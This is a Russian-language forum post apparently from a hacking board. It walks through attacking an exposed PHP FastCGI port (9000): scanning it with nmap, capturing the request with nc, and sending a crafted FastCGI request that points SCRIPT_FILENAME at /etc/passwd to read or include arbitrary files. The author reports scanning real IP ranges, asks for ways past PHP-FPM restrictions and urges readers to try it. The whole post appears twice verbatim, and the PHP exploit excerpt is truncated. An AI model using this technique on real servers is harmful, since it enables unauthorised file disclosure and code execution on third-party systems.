VY_CMa
27.09.2013, 07:47
Введение
Как правило, при увеличении масштаба проекта появляются дополнительные серверы и оборудование. Не всегда это базы данных и кэшеры. Иногда это и вычислительные мощности, на которых стоит PHP, а как известно PHP может работать в нескольких режимах. О всех я писать не буду, рассмотрим лишь режим CGI и что с него можно поиметь.
Как вы могли заметить, на данный момент наиболее часто встречаемым веб-сервером является nginx. Для связи с PHP данный сервер использует конструкцию вроде:
Code:
location ~ \.php$ {
root /var/www/;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/$fastcgi_script_name;
include fastcgi_params;
}
Все запросы касаемые работу с PHP идут на 9000 порт хоста 127.0.0.1.
В случае, если PHP находится на стороннем сервере, можно предположить, что 9000 порт на этом сервере открыт для внешних соединений, пусть и не всегда для наших
Что еще можно заметить из кода? А то, что для обращения используется протокол FastCGI (http://ru.wikipedia.org/wiki/FastCGI). Становится понятно, что мы можем попробовать отправить на бэкэнд свой CGI-запрос, минуя веб-сервер.
В качестве примера я поставил на тестовом сервере (на котором было 35 задание) Nginx, Spawn-FCGI и PHP5-CGI. Spawn-fcgi в данном случае нужен для связи веб-сервера с PHP.
По умолчанию при запуске PHP-CGI используется локальный IP. В случае отдельного сервера возможна прослушка как внешнего ипа, так и всех интерфейсов. Выглядит это примерно так
cat /etc/init.d/php-cgi
Code:
#!/bin/bash
PHP_FCGI_CHILDREN=3
PHP_FCGI_MAX_REQUESTS=1000
PHP_SCRIPT="/usr/bin/spawn-fcgi -a 0.0.0.0 -p 9000 -u www-data -g www-data -f /u sr/bin/php5-cgi"
RETVAL=0
case "$1" in
start)
$PHP_SCRIPT
RETVAL=$?
;;
stop)
killall -9 php5-cgi
RETVAL=$?
;;
restart)
killall -9 php5-cgi
$PHP_SCRIPT
RETVAL=$?
;;
*)
echo "Usage: sudo $0 {start|stop|restart}"
exit 1
;;
esac
exit $RETVAL
Ок. PHP слушает 9000 порт, просканим хост с помощью nmap.
http://makescreen.ru/ii/715281dd70eabbc06b8928aaacfc29.jpg (http://makescreen.ru/screen/715281dd70eabbc06b8928aaacfc29)
Как видно "слушатель" помечен как "tcpwrapped".
Как действуем?
Логично предположить, что нам нужно как-то послать специальный запрос к php с помощью FCGI протокола. Изобретать ничего не нужно, уже есть готовые решения. Одним из таковых является PHP-FastCGI-Client.
С помощью него, мы можем совершить покушение.
Ссылка для клонирования: https://github.com/adoy/PHP-FastCGI-Client.
Если посмотреть оригинальный запрос веб-сервера к php, подменим php "nc -lvp 9000" мы можем видеть следующее:
http://makescreen.ru/ii/3dc288986bbf6762a560291d07bdd4.jpg (http://makescreen.ru/screen/3dc288986bbf6762a560291d07bdd4)
Отсюда видно, что SCRIPT_FILENAME указывает нашему интерпретатору файл, из которого нужно брать код. Мы же можем изменить запрос для проведения RCE.
В качестве жертвы я выбрал файл /etc/passwd.
cat fcgiget.php
PHP:
'CGI/1.1',
'REQUEST_METHOD'=>'GET',
'SCRIPT_FILENAME'=>'/etc/passwd',
'SCRIPT_NAME'=>'',
'QUERY_STRING'=>'',
'REQUEST_URI'=>'',
'DOCUMENT_URI'=>'',
'SERVER_SOFTWARE'=>'nginx/1.5.5',
'REMOTE_ADDR'=>'127.0.0.1',
'REMOTE_PORT'=>'9985',
'SERVER_ADDR'=>'127.0.0.1',
'SERVER_PORT'=>'80',
'SERVER_NAME'=>'127.0.0.1',
'SERVER_PROTOCOL'=>'HTTP/1.1',
'CONTENT_TYPE'=>'',
'CONTENT_LENGTH'=>0,
'REDIRECT_STATUS'=>'200',
'HTTP_USER_AGENT'=>'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:23.0)'
);
echo$client->request($params,false)."\n";
Проверим так ли всё хорошо.
http://makescreen.ru/ii/99901d0bdb4540e0aee9990d80e20a.jpg (http://makescreen.ru/screen/99901d0bdb4540e0aee9990d80e20a)
Гуд ворк, файл проинклужен Дальше по накатанной.
Видео с демонстрацией инклуда: http://www.youtube.com/watch?v=O98KsYKJqoo
А теперь о проблемах
В большинстве случаев, на реальных серверах в качестве FCGI выступает PHP-FPM, у которого есть свои политики безопасности. Проблема в том, что по умолчанию выполнять он может только файлы с расширением .php, что делает нас бессильными. Я проверил пару вариантов по поводу обхода ограничения на расширение, но пока безуспешно. Если у вас есть идеи по этому поводу, было бы здорово
Вторая проблема - это то, что не всегда используется 9000 порт, но для этого нужно лишь время, чтобы собрать наиболее используемые.
Третья проблема заключается в ошибке, которую я пока не распознал. Просканировав некоторый диапазон IP на открытость порта, и проверив вручную багу, получить ответ от сервера не удалось. С чем это связано пока не ясно. Возможно какие-то защиты, а возможно из клиента нужно отправлять еще какие-то параметры. Но это уже покажет время. Пробуйте
Как правило, при увеличении масштаба проекта появляются дополнительные серверы и оборудование. Не всегда это базы данных и кэшеры. Иногда это и вычислительные мощности, на которых стоит PHP, а как известно PHP может работать в нескольких режимах. О всех я писать не буду, рассмотрим лишь режим CGI и что с него можно поиметь.
Как вы могли заметить, на данный момент наиболее часто встречаемым веб-сервером является nginx. Для связи с PHP данный сервер использует конструкцию вроде:
Code:
location ~ \.php$ {
root /var/www/;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/$fastcgi_script_name;
include fastcgi_params;
}
Все запросы касаемые работу с PHP идут на 9000 порт хоста 127.0.0.1.
В случае, если PHP находится на стороннем сервере, можно предположить, что 9000 порт на этом сервере открыт для внешних соединений, пусть и не всегда для наших
Что еще можно заметить из кода? А то, что для обращения используется протокол FastCGI (http://ru.wikipedia.org/wiki/FastCGI). Становится понятно, что мы можем попробовать отправить на бэкэнд свой CGI-запрос, минуя веб-сервер.
В качестве примера я поставил на тестовом сервере (на котором было 35 задание) Nginx, Spawn-FCGI и PHP5-CGI. Spawn-fcgi в данном случае нужен для связи веб-сервера с PHP.
По умолчанию при запуске PHP-CGI используется локальный IP. В случае отдельного сервера возможна прослушка как внешнего ипа, так и всех интерфейсов. Выглядит это примерно так
cat /etc/init.d/php-cgi
Code:
#!/bin/bash
PHP_FCGI_CHILDREN=3
PHP_FCGI_MAX_REQUESTS=1000
PHP_SCRIPT="/usr/bin/spawn-fcgi -a 0.0.0.0 -p 9000 -u www-data -g www-data -f /u sr/bin/php5-cgi"
RETVAL=0
case "$1" in
start)
$PHP_SCRIPT
RETVAL=$?
;;
stop)
killall -9 php5-cgi
RETVAL=$?
;;
restart)
killall -9 php5-cgi
$PHP_SCRIPT
RETVAL=$?
;;
*)
echo "Usage: sudo $0 {start|stop|restart}"
exit 1
;;
esac
exit $RETVAL
Ок. PHP слушает 9000 порт, просканим хост с помощью nmap.
http://makescreen.ru/ii/715281dd70eabbc06b8928aaacfc29.jpg (http://makescreen.ru/screen/715281dd70eabbc06b8928aaacfc29)
Как видно "слушатель" помечен как "tcpwrapped".
Как действуем?
Логично предположить, что нам нужно как-то послать специальный запрос к php с помощью FCGI протокола. Изобретать ничего не нужно, уже есть готовые решения. Одним из таковых является PHP-FastCGI-Client.
С помощью него, мы можем совершить покушение.
Ссылка для клонирования: https://github.com/adoy/PHP-FastCGI-Client.
Если посмотреть оригинальный запрос веб-сервера к php, подменим php "nc -lvp 9000" мы можем видеть следующее:
http://makescreen.ru/ii/3dc288986bbf6762a560291d07bdd4.jpg (http://makescreen.ru/screen/3dc288986bbf6762a560291d07bdd4)
Отсюда видно, что SCRIPT_FILENAME указывает нашему интерпретатору файл, из которого нужно брать код. Мы же можем изменить запрос для проведения RCE.
В качестве жертвы я выбрал файл /etc/passwd.
cat fcgiget.php
PHP:
'CGI/1.1',
'REQUEST_METHOD'=>'GET',
'SCRIPT_FILENAME'=>'/etc/passwd',
'SCRIPT_NAME'=>'',
'QUERY_STRING'=>'',
'REQUEST_URI'=>'',
'DOCUMENT_URI'=>'',
'SERVER_SOFTWARE'=>'nginx/1.5.5',
'REMOTE_ADDR'=>'127.0.0.1',
'REMOTE_PORT'=>'9985',
'SERVER_ADDR'=>'127.0.0.1',
'SERVER_PORT'=>'80',
'SERVER_NAME'=>'127.0.0.1',
'SERVER_PROTOCOL'=>'HTTP/1.1',
'CONTENT_TYPE'=>'',
'CONTENT_LENGTH'=>0,
'REDIRECT_STATUS'=>'200',
'HTTP_USER_AGENT'=>'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:23.0)'
);
echo$client->request($params,false)."\n";
Проверим так ли всё хорошо.
http://makescreen.ru/ii/99901d0bdb4540e0aee9990d80e20a.jpg (http://makescreen.ru/screen/99901d0bdb4540e0aee9990d80e20a)
Гуд ворк, файл проинклужен Дальше по накатанной.
Видео с демонстрацией инклуда: http://www.youtube.com/watch?v=O98KsYKJqoo
А теперь о проблемах
В большинстве случаев, на реальных серверах в качестве FCGI выступает PHP-FPM, у которого есть свои политики безопасности. Проблема в том, что по умолчанию выполнять он может только файлы с расширением .php, что делает нас бессильными. Я проверил пару вариантов по поводу обхода ограничения на расширение, но пока безуспешно. Если у вас есть идеи по этому поводу, было бы здорово
Вторая проблема - это то, что не всегда используется 9000 порт, но для этого нужно лишь время, чтобы собрать наиболее используемые.
Третья проблема заключается в ошибке, которую я пока не распознал. Просканировав некоторый диапазон IP на открытость порта, и проверив вручную багу, получить ответ от сервера не удалось. С чем это связано пока не ясно. Возможно какие-то защиты, а возможно из клиента нужно отправлять еще какие-то параметры. Но это уже покажет время. Пробуйте